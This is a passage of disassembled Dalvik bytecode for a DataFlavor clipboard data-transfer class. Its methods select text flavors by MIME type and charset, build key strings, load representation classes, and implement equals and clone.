0000001E  invoke-virtual          LinkedList->isEmpty()Z, v2
00000024  move-result             v0
00000026  if-eqz                  v0, :2C
:2A
0000002A  const/4                 p0, 0x0
:2C
0000002C  return-object           p0
:2E
0000002E  invoke-interface        Iterator->next()Object, v3
00000034  move-result-object      v0
00000036  check-cast              v0, DataFlavor
0000003A  invoke-direct           DataFlavor->getCharset()String, v0
00000040  move-result-object      v1
00000042  invoke-static           DataFlavor->isCharsetSupported(String)Z, v1
00000048  move-result             v1
0000004A  if-eqz                  v1, :8A
:4E
0000004E  array-length            v4, p1
00000050  const/4                 v1, 0x0
:52
00000052  if-ge                   v1, v4, :12
:56
00000056  aget-object             v5, p1, v1
0000005A  invoke-static           Charset->forName(String)Charset, v5
00000060  move-result-object      v5
00000062  invoke-direct           DataFlavor->getCharset()String, v0
00000068  move-result-object      v6
0000006A  invoke-static           Charset->forName(String)Charset, v6
00000070  move-result-object      v6
00000072  invoke-virtual          Charset->equals(Object)Z, v5, v6
00000078  move-result             v5
0000007A  if-eqz                  v5, :84
:7E
0000007E  invoke-virtual          LinkedList->add(Object)Z, v2, v0
:84
00000084  add-int/lit8            v1, v1, 0x1
00000088  goto                    :52
:8A
0000008A  invoke-interface        Iterator->remove()V, v3
00000090  goto                    :12
.end method

.method private getKeyInfo()String
          .registers 4
00000000  new-instance            v0, StringBuilder
00000004  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000008  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, v1
0000000E  move-result-object      v1
00000010  invoke-static           String->valueOf(Object)String, v1
00000016  move-result-object      v1
00000018  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001E  const-string            v1, ";class="
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000028  move-result-object      v0
0000002A  iget-object             v1, p0, DataFlavor->representationClass:Class
0000002E  invoke-virtual          Class->getName()String, v1
00000034  move-result-object      v1
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003C  move-result-object      v0
0000003E  invoke-virtual          StringBuilder->toString()String, v0
00000044  move-result-object      v0
00000046  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000004A  invoke-virtual          MimeTypeProcessor$MimeType->getPrimaryType()String, v1
00000050  move-result-object      v1
00000052  const-string            v2, "text"
00000056  invoke-virtual          String->equals(Object)Z, v1, v2
0000005C  move-result             v1
0000005E  if-eqz                  v1, :6E
:62
00000062  invoke-direct           DataFlavor->isUnicodeFlavor()Z, p0
00000068  move-result             v1
0000006A  if-eqz                  v1, :70
:6E
0000006E  return-object           v0
:70
00000070  new-instance            v1, StringBuilder
00000074  invoke-static           String->valueOf(Object)String, v0
0000007A  move-result-object      v0
0000007C  invoke-direct           StringBuilder-><init>(String)V, v1, v0
00000082  const-string            v0, ";charset="
00000086  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v0
0000008C  move-result-object      v0
0000008E  invoke-direct           DataFlavor->getCharset()String, p0
00000094  move-result-object      v1
00000096  invoke-virtual          String->toLowerCase()String, v1
0000009C  move-result-object      v1
0000009E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000A4  move-result-object      v0
000000A6  invoke-virtual          StringBuilder->toString()String, v0
000000AC  move-result-object      v0
000000AE  goto                    :6E
.end method

.method public static final getTextPlainUnicodeFlavor()DataFlavor
          .registers 3
00000000  sget-object             v0, DataFlavor->plainUnicodeFlavor:DataFlavor
00000004  if-nez                  v0, :54
:8
00000008  new-instance            v0, DataFlavor
0000000C  new-instance            v1, StringBuilder
00000010  const-string            v2, "text/plain; charset="
00000014  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001A  invoke-static           DTK->getDTK()DTK
00000020  move-result-object      v2
00000022  invoke-virtual          DTK->getDefaultCharset()String, v2
00000028  move-result-object      v2
0000002A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000030  move-result-object      v1
00000032  const-string            v2, "; class=java.io.InputStream"
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000003C  move-result-object      v1
0000003E  invoke-virtual          StringBuilder->toString()String, v1
00000044  move-result-object      v1
00000046  const-string            v2, "Plain Text"
0000004A  invoke-direct           DataFlavor-><init>(String, String)V, v0, v1, v2
00000050  sput-object             v0, DataFlavor->plainUnicodeFlavor:DataFlavor
:54
00000054  sget-object             v0, DataFlavor->plainUnicodeFlavor:DataFlavor
00000058  return-object           v0
.end method

.method private init(String, String, ClassLoader)V
          .registers 7
00000000  invoke-static           MimeTypeProcessor->parse(String)MimeTypeProcessor$MimeType, p1
00000006  move-result-object      v0
00000008  iput-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
:C
0000000C  if-eqz                  p2, :66
:10
00000010  iput-object             p2, p0, DataFlavor->humanPresentableName:String
:14
00000014  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000018  const-string            v1, "class"
0000001C  invoke-virtual          MimeTypeProcessor$MimeType->getParameter(String)String, v0, v1
00000022  move-result-object      v0
00000024  if-nez                  v0, :3A
:28
00000028  const-string            v0, "java.io.InputStream"
0000002C  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000030  const-string            v2, "class"
00000034  invoke-virtual          MimeTypeProcessor$MimeType->addParameter(String, String)V, v1, v2, v0
:3A
0000003A  if-nez                  p3, :B2
:3E
0000003E  invoke-static           Class->forName(String)Class, v0
00000044  move-result-object      v0
:46
00000046  iput-object             v0, p0, DataFlavor->representationClass:Class
0000004A  return-void
:4C
0000004C  move-exception          v0
0000004E  new-instance            v0, IllegalArgumentException
00000052  const-string            v1, "awt.16D"
00000056  invoke-static           Messages->getString(String, Object)String, v1, p1
0000005C  move-result-object      v1
0000005E  invoke-direct           IllegalArgumentException-><init>(String)V, v0, v1
00000064  throw                   v0
:66
00000066  new-instance            v0, StringBuilder
0000006A  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000006E  invoke-virtual          MimeTypeProcessor$MimeType->getPrimaryType()String, v1
00000074  move-result-object      v1
00000076  invoke-static           String->valueOf(Object)String, v1
0000007C  move-result-object      v1
0000007E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000084  const/16                v1, 0x2F
00000088  invoke-virtual          StringBuilder->append(C)StringBuilder, v0, v1
0000008E  move-result-object      v0
00000090  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000094  invoke-virtual          MimeTypeProcessor$MimeType->getSubType()String, v1
0000009A  move-result-object      v1
0000009C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000000A2  move-result-object      v0
000000A4  invoke-virtual          StringBuilder->toString()String, v0
000000AA  move-result-object      v0
000000AC  iput-object             v0, p0, DataFlavor->humanPresentableName:String
000000B0  goto                    :14
:B2
000000B2  invoke-virtual          ClassLoader->loadClass(String)Class, p3, v0
000000B8  move-result-object      v0
000000BA  goto                    :46
          .catch IllegalArgumentException {:0 .. :C} :4C
.end method

.method private isByteCodeFlavor()Z
          .registers 3
00000000  iget-object             v0, p0, DataFlavor->representationClass:Class
00000004  if-eqz                  v0, :48
:8
00000008  iget-object             v0, p0, DataFlavor->representationClass:Class
0000000C  const-class             v1, InputStream
00000010  invoke-virtual          Object->equals(Object)Z, v0, v1
00000016  move-result             v0
00000018  if-nez                  v0, :44
:1C
0000001C  iget-object             v0, p0, DataFlavor->representationClass:Class
00000020  const-class             v1, ByteBuffer
00000024  invoke-virtual          Object->equals(Object)Z, v0, v1
0000002A  move-result             v0
0000002C  if-nez                  v0, :44
:30
00000030  iget-object             v0, p0, DataFlavor->representationClass:Class
00000034  const-class             v1, [B
00000038  invoke-virtual          Object->equals(Object)Z, v0, v1
0000003E  move-result             v0
00000040  if-eqz                  v0, :48
:44
00000044  const/4                 v0, 0x1
:46
00000046  return                  v0
:48
00000048  const/4                 v0, 0x0
0000004A  goto                    :46
.end method

.method private isCharsetRedundant()Z
          .registers 3
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "text/rtf"
00000010  invoke-virtual          String->equals(Object)Z, v0, v1
00000016  move-result             v1
00000018  if-nez                  v1, :60
:1C
0000001C  const-string            v1, "text/tab-separated-values"
00000020  invoke-virtual          String->equals(Object)Z, v0, v1
00000026  move-result             v1
00000028  if-nez                  v1, :60
:2C
0000002C  const-string            v1, "text/t140"
00000030  invoke-virtual          String->equals(Object)Z, v0, v1
00000036  move-result             v1
00000038  if-nez                  v1, :60
:3C
0000003C  const-string            v1, "text/rfc822-headers"
00000040  invoke-virtual          String->equals(Object)Z, v0, v1
00000046  move-result             v1
00000048  if-nez                  v1, :60
:4C
0000004C  const-string            v1, "text/parityfec"
00000050  invoke-virtual          String->equals(Object)Z, v0, v1
00000056  move-result             v0
00000058  if-nez                  v0, :60
:5C
0000005C  const/4                 v0, 0x0
:5E
0000005E  return                  v0
:60
00000060  const/4                 v0, 0x1
00000062  goto                    :5E
.end method

.method private isCharsetRequired()Z
          .registers 3
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  invoke-virtual          MimeTypeProcessor$MimeType->getFullType()String, v0
0000000A  move-result-object      v0
0000000C  const-string            v1, "text/sgml"
00000010  invoke-virtual          String->equals(Object)Z, v0, v1
00000016  move-result             v1
00000018  if-nez                  v1, :C0
:1C
0000001C  const-string            v1, "text/xml"
00000020  invoke-virtual          String->equals(Object)Z, v0, v1
00000026  move-result             v1
00000028  if-nez                  v1, :C0
:2C
0000002C  const-string            v1, "text/html"
00000030  invoke-virtual          String->equals(Object)Z, v0, v1
00000036  move-result             v1
00000038  if-nez                  v1, :C0
:3C
0000003C  const-string            v1, "text/enriched"
00000040  invoke-virtual          String->equals(Object)Z, v0, v1
00000046  move-result             v1
00000048  if-nez                  v1, :C0
:4C
0000004C  const-string            v1, "text/richtext"
00000050  invoke-virtual          String->equals(Object)Z, v0, v1
00000056  move-result             v1
00000058  if-nez                  v1, :C0
:5C
0000005C  const-string            v1, "text/uri-list"
00000060  invoke-virtual          String->equals(Object)Z, v0, v1
00000066  move-result             v1
00000068  if-nez                  v1, :C0
:6C
0000006C  const-string            v1, "text/directory"
00000070  invoke-virtual          String->equals(Object)Z, v0, v1
00000076  move-result             v1
00000078  if-nez                  v1, :C0
:7C
0000007C  const-string            v1, "text/css"
00000080  invoke-virtual          String->equals(Object)Z, v0, v1
00000086  move-result             v1
00000088  if-nez                  v1, :C0
:8C
0000008C  const-string            v1, "text/calendar"
00000090  invoke-virtual          String->equals(Object)Z, v0, v1
00000096  move-result             v1
00000098  if-nez                  v1, :C0
:9C
0000009C  const-string            v1, "application/x-java-serialized-object"
000000A0  invoke-virtual          String->equals(Object)Z, v0, v1
000000A6  move-result             v1
000000A8  if-nez                  v1, :C0
:AC
000000AC  const-string            v1, "text/plain"
000000B0  invoke-virtual          String->equals(Object)Z, v0, v1
000000B6  move-result             v0
000000B8  if-nez                  v0, :C0
:BC
000000BC  const/4                 v0, 0x0
:BE
000000BE  return                  v0
:C0
000000C0  const/4                 v0, 0x1
000000C2  goto                    :BE
.end method

.method private static isCharsetSupported(String)Z
          .registers 2
00000000  invoke-static           Charset->isSupported(String)Z, p0
00000006  move-result             v0
:8
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  const/4                 v0, 0x0
0000000E  goto                    :8
          .catch IllegalCharsetNameException {:0 .. :6} :A
.end method

.method private isUnicodeFlavor()Z
          .registers 3
00000000  iget-object             v0, p0, DataFlavor->representationClass:Class
00000004  if-eqz                  v0, :5C
:8
00000008  iget-object             v0, p0, DataFlavor->representationClass:Class
0000000C  const-class             v1, Reader
00000010  invoke-virtual          Object->equals(Object)Z, v0, v1
00000016  move-result             v0
00000018  if-nez                  v0, :58
:1C
0000001C  iget-object             v0, p0, DataFlavor->representationClass:Class
00000020  const-class             v1, String
00000024  invoke-virtual          Object->equals(Object)Z, v0, v1
0000002A  move-result             v0
0000002C  if-nez                  v0, :58
:30
00000030  iget-object             v0, p0, DataFlavor->representationClass:Class
00000034  const-class             v1, CharBuffer
00000038  invoke-virtual          Object->equals(Object)Z, v0, v1
0000003E  move-result             v0
00000040  if-nez                  v0, :58
:44
00000044  iget-object             v0, p0, DataFlavor->representationClass:Class
00000048  const-class             v1, [C
0000004C  invoke-virtual          Object->equals(Object)Z, v0, v1
00000052  move-result             v0
00000054  if-eqz                  v0, :5C
:58
00000058  const/4                 v0, 0x1
:5A
0000005A  return                  v0
:5C
0000005C  const/4                 v0, 0x0
0000005E  goto                    :5A
.end method

.method private static selectBestByAlphabet(List)List
          .registers 8
00000000  const/4                 v2, 0x0
00000002  invoke-interface        List->size()I, p0
00000008  move-result             v0
0000000A  new-array               v4, v0, [String
0000000E  new-instance            v3, LinkedList
00000012  invoke-direct           LinkedList-><init>()V, v3
00000018  move                    v1, v2
:1A
0000001A  array-length            v0, v4
0000001C  if-lt                   v1, v0, :4E
:20
00000020  sget-object             v0, String->CASE_INSENSITIVE_ORDER:Comparator
00000024  invoke-static           Arrays->sort([Object, Comparator)V, v4, v0
0000002A  invoke-interface        List->iterator()Iterator, p0
00000030  move-result-object      v1
:32
00000032  invoke-interface        Iterator->hasNext()Z, v1
00000038  move-result             v0
0000003A  if-nez                  v0, :6E
:3E
0000003E  invoke-virtual          LinkedList->isEmpty()Z, v3
00000044  move-result             v0
00000046  if-eqz                  v0, :9A
:4A
0000004A  const/4                 v0, 0x0
:4C
0000004C  return-object           v0
:4E
0000004E  invoke-interface        List->get(I)Object, p0, v1
00000054  move-result-object      v0
00000056  check-cast              v0, DataFlavor
0000005A  invoke-direct           DataFlavor->getCharset()String, v0
00000060  move-result-object      v0
00000062  aput-object             v0, v4, v1
00000066  add-int/lit8            v0, v1, 0x1
0000006A  move                    v1, v0
0000006C  goto                    :1A
:6E
0000006E  invoke-interface        Iterator->next()Object, v1
00000074  move-result-object      v0
00000076  check-cast              v0, DataFlavor
0000007A  aget-object             v5, v4, v2
0000007E  invoke-direct           DataFlavor->getCharset()String, v0
00000084  move-result-object      v6
00000086  invoke-virtual          String->equalsIgnoreCase(String)Z, v5, v6
0000008C  move-result             v5
0000008E  if-eqz                  v5, :32
:92
00000092  invoke-virtual          LinkedList->add(Object)Z, v3, v0
00000098  goto                    :32
:9A
0000009A  move-object             v0, v3
0000009C  goto                    :4C
.end method

.method private static selectBestByCharset(List)DataFlavor
          .registers 6
00000000  const/4                 v4, 0x1
00000002  const/4                 v3, 0x0
00000004  const/4                 v0, 0x4
00000006  new-array               v0, v0, [String
0000000A  const-string            v1, "UTF-16"
0000000E  aput-object             v1, v0, v3
00000012  const-string            v1, "UTF-8"
00000016  aput-object             v1, v0, v4
0000001A  const/4                 v1, 0x2
0000001C  const-string            v2, "UTF-16BE"
00000020  aput-object             v2, v0, v1
00000024  const/4                 v1, 0x3
00000026  const-string            v2, "UTF-16LE"
0000002A  aput-object             v2, v0, v1
0000002E  invoke-static           DataFlavor->getFlavors(List, [String)List, p0, v0
00000034  move-result-object      v0
00000036  if-nez                  v0, :7E
:3A
0000003A  new-array               v0, v4, [String
0000003E  invoke-static           DTK->getDTK()DTK
00000044  move-result-object      v1
00000046  invoke-virtual          DTK->getDefaultCharset()String, v1
0000004C  move-result-object      v1
0000004E  aput-object             v1, v0, v3
00000052  invoke-static           DataFlavor->getFlavors(List, [String)List, p0, v0
00000058  move-result-object      v0
0000005A  if-nez                  v0, :7E
:5E
0000005E  new-array               v0, v4, [String
00000062  const-string            v1, "US-ASCII"
00000066  aput-object             v1, v0, v3
0000006A  invoke-static           DataFlavor->getFlavors(List, [String)List, p0, v0
00000070  move-result-object      v0
00000072  if-nez                  v0, :7E
:76
00000076  invoke-static           DataFlavor->selectBestByAlphabet(List)List, p0
0000007C  move-result-object      v0
:7E
0000007E  if-eqz                  v0, :A6
:82
00000082  invoke-interface        List->size()I, v0
00000088  move-result             v1
0000008A  if-ne                   v1, v4, :9C
:8E
0000008E  invoke-interface        List->get(I)Object, v0, v3
00000094  move-result-object      v0
00000096  check-cast              v0, DataFlavor
:9A
0000009A  return-object           v0
:9C
0000009C  invoke-static           DataFlavor->selectBestFlavorWOCharset(List)DataFlavor, v0
000000A2  move-result-object      v0
000000A4  goto                    :9A
:A6
000000A6  const/4                 v0, 0x0
000000A8  goto                    :9A
.end method

.method private static selectBestFlavorWCharset(List)DataFlavor
          .registers 3
00000000  const/4                 v1, 0x0
00000002  const-class             v0, Reader
00000006  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
0000000C  move-result-object      v0
0000000E  if-eqz                  v0, :20
:12
00000012  invoke-interface        List->get(I)Object, v0, v1
00000018  move-result-object      v0
0000001A  check-cast              v0, DataFlavor
:1E
0000001E  return-object           v0
:20
00000020  const-class             v0, String
00000024  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
0000002A  move-result-object      v0
0000002C  if-eqz                  v0, :3E
:30
00000030  invoke-interface        List->get(I)Object, v0, v1
00000036  move-result-object      v0
00000038  check-cast              v0, DataFlavor
0000003C  goto                    :1E
:3E
0000003E  const-class             v0, CharBuffer
00000042  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
00000048  move-result-object      v0
0000004A  if-eqz                  v0, :5C
:4E
0000004E  invoke-interface        List->get(I)Object, v0, v1
00000054  move-result-object      v0
00000056  check-cast              v0, DataFlavor
0000005A  goto                    :1E
:5C
0000005C  const-class             v0, [C
00000060  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
00000066  move-result-object      v0
00000068  if-eqz                  v0, :7A
:6C
0000006C  invoke-interface        List->get(I)Object, v0, v1
00000072  move-result-object      v0
00000074  check-cast              v0, DataFlavor
00000078  goto                    :1E
:7A
0000007A  invoke-static           DataFlavor->selectBestByCharset(List)DataFlavor, p0
00000080  move-result-object      v0
00000082  goto                    :1E
.end method

.method private static selectBestFlavorWOCharset(List)DataFlavor
          .registers 3
00000000  const/4                 v1, 0x0
00000002  const-class             v0, InputStream
00000006  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
0000000C  move-result-object      v0
0000000E  if-eqz                  v0, :20
:12
00000012  invoke-interface        List->get(I)Object, v0, v1
00000018  move-result-object      v0
0000001A  check-cast              v0, DataFlavor
:1E
0000001E  return-object           v0
:20
00000020  const-class             v0, ByteBuffer
00000024  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
0000002A  move-result-object      v0
0000002C  if-eqz                  v0, :3E
:30
00000030  invoke-interface        List->get(I)Object, v0, v1
00000036  move-result-object      v0
00000038  check-cast              v0, DataFlavor
0000003C  goto                    :1E
:3E
0000003E  const-class             v0, [B
00000042  invoke-static           DataFlavor->getFlavors(List, Class)List, p0, v0
00000048  move-result-object      v0
0000004A  if-eqz                  v0, :5C
:4E
0000004E  invoke-interface        List->get(I)Object, v0, v1
00000054  move-result-object      v0
00000056  check-cast              v0, DataFlavor
0000005A  goto                    :1E
:5C
0000005C  invoke-interface        List->get(I)Object, p0, v1
00000062  move-result-object      v0
00000064  check-cast              v0, DataFlavor
00000068  goto                    :1E
.end method

.method public static final selectBestTextFlavor([DataFlavor)DataFlavor
          .registers 5
00000000  const/4                 v0, 0x0
00000002  const/4                 v3, 0x0
00000004  if-nez                  p0, :A
:8
00000008  return-object           v0
:A
0000000A  new-instance            v1, LinkedList
0000000E  invoke-static           Arrays->asList([Object)List, p0
00000014  move-result-object      v2
00000016  invoke-direct           LinkedList-><init>(Collection)V, v1, v2
0000001C  invoke-static           DataFlavor->sortTextFlavorsByType(List)List, v1
00000022  move-result-object      v1
00000024  invoke-interface        List->isEmpty()Z, v1
0000002A  move-result             v2
0000002C  if-nez                  v2, :8
:30
00000030  invoke-interface        List->get(I)Object, v1, v3
00000036  move-result-object      v0
00000038  check-cast              v0, List
0000003C  invoke-interface        List->size()I, v0
00000042  move-result             v1
00000044  const/4                 v2, 0x1
00000046  if-ne                   v1, v2, :58
:4A
0000004A  invoke-interface        List->get(I)Object, v0, v3
00000050  move-result-object      v0
00000052  check-cast              v0, DataFlavor
00000056  goto                    :8
:58
00000058  invoke-interface        List->get(I)Object, v0, v3
0000005E  move-result-object      v1
00000060  check-cast              v1, DataFlavor
00000064  invoke-direct           DataFlavor->getCharset()String, v1
0000006A  move-result-object      v1
0000006C  invoke-virtual          String->length()I, v1
00000072  move-result             v1
00000074  if-nez                  v1, :82
:78
00000078  invoke-static           DataFlavor->selectBestFlavorWOCharset(List)DataFlavor, v0
0000007E  move-result-object      v0
00000080  goto                    :8
:82
00000082  invoke-static           DataFlavor->selectBestFlavorWCharset(List)DataFlavor, v0
00000088  move-result-object      v0
0000008A  goto                    :8
.end method

.method private static sortTextFlavorsByType(List)List
          .registers 6
00000000  new-instance            v1, LinkedList
00000004  invoke-direct           LinkedList-><init>()V, v1
0000000A  sget-object             v2, DataFlavor->sortedTextFlavors:[String
0000000E  array-length            v3, v2
00000010  const/4                 v0, 0x0
:12
00000012  if-lt                   v0, v3, :2A
:16
00000016  invoke-interface        List->isEmpty()Z, p0
0000001C  move-result             v0
0000001E  if-nez                  v0, :28
:22
00000022  invoke-virtual          LinkedList->addLast(Object)V, v1, p0
:28
00000028  return-object           v1
:2A
0000002A  aget-object             v4, v2, v0
0000002E  invoke-static           DataFlavor->fetchTextFlavors(List, String)List, p0, v4
00000034  move-result-object      v4
00000036  if-eqz                  v4, :40
:3A
0000003A  invoke-virtual          LinkedList->addLast(Object)V, v1, v4
:40
00000040  add-int/lit8            v0, v0, 0x1
00000044  goto                    :12
.end method

.method protected static final tryToLoadClass(String, ClassLoader)Class
          .registers 3
00000000  invoke-static           Class->forName(String)Class, p0
00000006  move-result-object      v0
:8
00000008  return-object           v0
:A
0000000A  move-exception          v0
:C
0000000C  invoke-static           ClassLoader->getSystemClassLoader()ClassLoader
00000012  move-result-object      v0
00000014  invoke-virtual          ClassLoader->loadClass(String)Class, v0, p0
:1A
0000001A  move-result-object      v0
0000001C  goto                    :8
:1E
0000001E  move-exception          v0
00000020  invoke-static           Thread->currentThread()Thread
00000026  move-result-object      v0
00000028  invoke-virtual          Thread->getContextClassLoader()ClassLoader, v0
0000002E  move-result-object      v0
00000030  if-eqz                  v0, :40
:34
00000034  invoke-virtual          ClassLoader->loadClass(String)Class, v0, p0
:3A
0000003A  move-result-object      v0
0000003C  goto                    :8
:3E
0000003E  move-exception          v0
:40
00000040  invoke-virtual          ClassLoader->loadClass(String)Class, p1, p0
00000046  move-result-object      v0
00000048  goto                    :8
          .catch ClassNotFoundException {:0 .. :6} :A
          .catch ClassNotFoundException {:C .. :1A} :1E
          .catch ClassNotFoundException {:34 .. :3A} :3E
.end method

.method public clone()Object
          .registers 3
00000000  new-instance            v1, DataFlavor
00000004  invoke-direct           DataFlavor-><init>()V, v1
0000000A  iget-object             v0, p0, DataFlavor->humanPresentableName:String
0000000E  iput-object             v0, v1, DataFlavor->humanPresentableName:String
00000012  iget-object             v0, p0, DataFlavor->representationClass:Class
00000016  iput-object             v0, v1, DataFlavor->representationClass:Class
0000001A  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E  if-eqz                  v0, :38
:22
00000022  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000026  invoke-virtual          MimeTypeProcessor$MimeType->clone()Object, v0
0000002C  move-result-object      v0
0000002E  check-cast              v0, MimeTypeProcessor$MimeType
:32
00000032  iput-object             v0, v1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000036  return-object           v1
:38
00000038  const/4                 v0, 0x0
0000003A  goto                    :32
.end method

.method public equals(Object)Z
          .registers 3
00000000  if-eqz                  p1, :C
:4
00000004  instance-of             v0, p1, DataFlavor
00000008  if-nez                  v0, :10
:C
0000000C  const/4                 v0, 0x0
:E
0000000E  return                  v0
:10
00000010  check-cast              p1, DataFlavor
00000014  invoke-virtual          DataFlavor->equals(DataFlavor)Z, p0, p1
0000001A  move-result             v0
0000001C  goto                    :E
.end method

.method public equals(String)Z
          .registers 3
          .annotation runtime Deprecated
          .end annotation
00000000  if-nez                  p1, :8
:4
00000004  const/4                 v0, 0x0
:6
00000006  return                  v0
:8
00000008  invoke-virtual          DataFlavor->isMimeTypeEqual(String)Z, p0, p1
0000000E  move-result             v0
00000010  goto                    :6
.end method

.method public equals(DataFlavor)Z
          .registers 6
00000000  const/4                 v0, 0x1
00000002  const/4                 v1, 0x0
00000004  if-ne                   p1, p0, :A
:8
00000008  return                  v0
:A
0000000A  if-nez                  p1, :12
:E
0000000E  move                    v0, v1
00000010  goto                    :8
:12
00000012  iget-object             v2, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000016  if-nez                  v2, :26
:1A
0000001A  iget-object             v2, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000001E  if-eqz                  v2, :8
:22
00000022  move                    v0, v1
00000024  goto                    :8
:26
00000026  iget-object             v2, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002A  iget-object             v3, p1, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002E  invoke-virtual          MimeTypeProcessor$MimeType->equals(MimeTypeProcessor$MimeType)Z, v2, v3
00000034  move-result             v2
00000036  if-eqz                  v2, :4E
:3A
0000003A  iget-object             v2, p0, DataFlavor->representationClass:Class
0000003E  iget-object             v3, p1, DataFlavor->representationClass:Class
00000042  invoke-virtual          Object->equals(Object)Z, v2, v3
00000048  move-result             v2
0000004A  if-nez                  v2, :52
:4E
0000004E  move                    v0, v1
00000050  goto                    :8
:52
00000052  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000056  invoke-virtual          MimeTypeProcessor$MimeType->getPrimaryType()String, v1
0000005C  move-result-object      v1
0000005E  const-string            v2, "text"
00000062  invoke-virtual          String->equals(Object)Z, v1, v2
00000068  move-result             v1
0000006A  if-eqz                  v1, :8
:6E
0000006E  invoke-direct           DataFlavor->isUnicodeFlavor()Z, p0
00000074  move-result             v1
00000076  if-nez                  v1, :8
:7A
0000007A  invoke-direct           DataFlavor->getCharset()String, p0
00000080  move-result-object      v0
00000082  invoke-direct           DataFlavor->getCharset()String, p1
00000088  move-result-object      v1
0000008A  invoke-static           DataFlavor->isCharsetSupported(String)Z, v0
00000090  move-result             v2
00000092  if-eqz                  v2, :A2
:96
00000096  invoke-static           DataFlavor->isCharsetSupported(String)Z, v1
0000009C  move-result             v2
0000009E  if-nez                  v2, :AC
:A2
000000A2  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
000000A8  move-result             v0
000000AA  goto                    :8
:AC
000000AC  invoke-static           Charset->forName(String)Charset, v0
000000B2  move-result-object      v0
000000B4  invoke-static           Charset->forName(String)Charset, v1
000000BA  move-result-object      v1
000000BC  invoke-virtual          Charset->equals(Object)Z, v0, v1
000000C2  move-result             v0
000000C4  goto                    :8
.end method

.method public final getDefaultRepresentationClass()Class
          .registers 2
00000000  const-class             v0, InputStream
00000004  return-object           v0
.end method

.method public final getDefaultRepresentationClassAsString()String
          .registers 2
00000000  invoke-virtual          DataFlavor->getDefaultRepresentationClass()Class, p0
00000006  move-result-object      v0
00000008  invoke-virtual          Class->getName()String, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public getHumanPresentableName()String
          .registers 2
00000000  iget-object             v0, p0, DataFlavor->humanPresentableName:String
00000004  return-object           v0
.end method

.method getMimeInfo()MimeTypeProcessor$MimeType
          .registers 2
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  return-object           v0
.end method

.method public getMimeType()String
          .registers 2
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C  invoke-static           MimeTypeProcessor->assemble(MimeTypeProcessor$MimeType)String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public getParameter(String)String
          .registers 4
00000000  invoke-virtual          String->toLowerCase()String, p1
00000006  move-result-object      v0
00000008  const-string            v1, "humanpresentablename"
0000000C  invoke-virtual          String->equals(Object)Z, v0, v1
00000012  move-result             v1
00000014  if-eqz                  v1, :1E
:18
00000018  iget-object             v0, p0, DataFlavor->humanPresentableName:String
:1C
0000001C  return-object           v0
:1E
0000001E  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000022  if-eqz                  v1, :34
:26
00000026  iget-object             v1, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000002A  invoke-virtual          MimeTypeProcessor$MimeType->getParameter(String)String, v1, v0
00000030  move-result-object      v0
00000032  goto                    :1C
:34
00000034  const/4                 v0, 0x0
00000036  goto                    :1C
.end method

.method public getPrimaryType()String
          .registers 2
00000000  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
00000004  if-eqz                  v0, :16
:8
00000008  iget-object             v0, p0, DataFlavor->mimeInfo:MimeTypeProcessor$MimeType
0000000C  invoke-virtual          MimeTypeProcessor$MimeType->getPrimaryType()String, v0
00000012  move-result-object      v0
:14
00000014  return-object           v0
:16
00000016  const/4                 v0, 0x0
00000018  goto                    :14
.end method

.method public getReaderForText(Transferable)Reader
          .registers 5
00000000  invoke-interface        Transferable->getTransferData(DataFlavor)Object, p1, p0
00000006  move-result-object      v0
00000008  if-nez                  v0, :24
